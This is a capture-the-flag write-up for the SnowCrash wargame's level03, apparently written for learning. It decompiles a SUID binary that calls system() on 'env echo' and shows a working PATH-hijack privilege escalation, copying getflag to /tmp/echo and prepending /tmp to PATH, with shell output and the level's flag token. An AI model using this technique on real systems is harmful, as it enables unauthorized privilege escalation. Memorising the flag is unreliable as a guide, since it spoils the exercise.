Level03

A binary file named `level03` with **SUID** bit set is present in the home directory. The owner of the file is `flag03`. This is a possible attack vector.

Tests:

- Execute the binary file outputs `Exploit me`
- Feed content to the binary as infile seems ignored

We are going to download the binary to our machine with the `scp` command and send it to **Ghidra's** code browser. This gives us juicy results.

```
int main(int argc,char **argv,char **envp)
{
  __gid_t __rgid;
  __uid_t __ruid;
  int iVar1;
  gid_t gid;
  uid_t uid;

  __rgid = getegid();
  __ruid = geteuid();
  setresgid(__rgid,__rgid,__rgid);
  setresuid(__ruid,__ruid,__ruid);
  iVar1 = system("/usr/bin/env echo Exploit me");
  return iVar1;
}
```

While inspecting the main function, we can see that a call to the `system()` function is made with `"/usr/bin/env echo Exploit me"` as argument.

Tricking the system while prepending a writable directory to the `PATH` variable let's us set a disguised binary as `echo`. When `echo` will be searched in the paths, if our directory is first and a binary is found, it will execute it with `flag03`'s privileges.

The idea is to copy `/bin/getflag` as `echo` in `/tmp` folder wich is writable. Then prepend `/tmp` to the `PATH` variable as such `export PATH=/tmp:$PATH` and execute `./level03` to get the flag.

```
level03@SnowCrash:~$ whereis getflag
getflag: /bin/getflag
level03@SnowCrash:~$ cp /bin/getflag /tmp/echo
level03@SnowCrash:~$ export PATH=/tmp:$PATH
level03@SnowCrash:~$ ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
```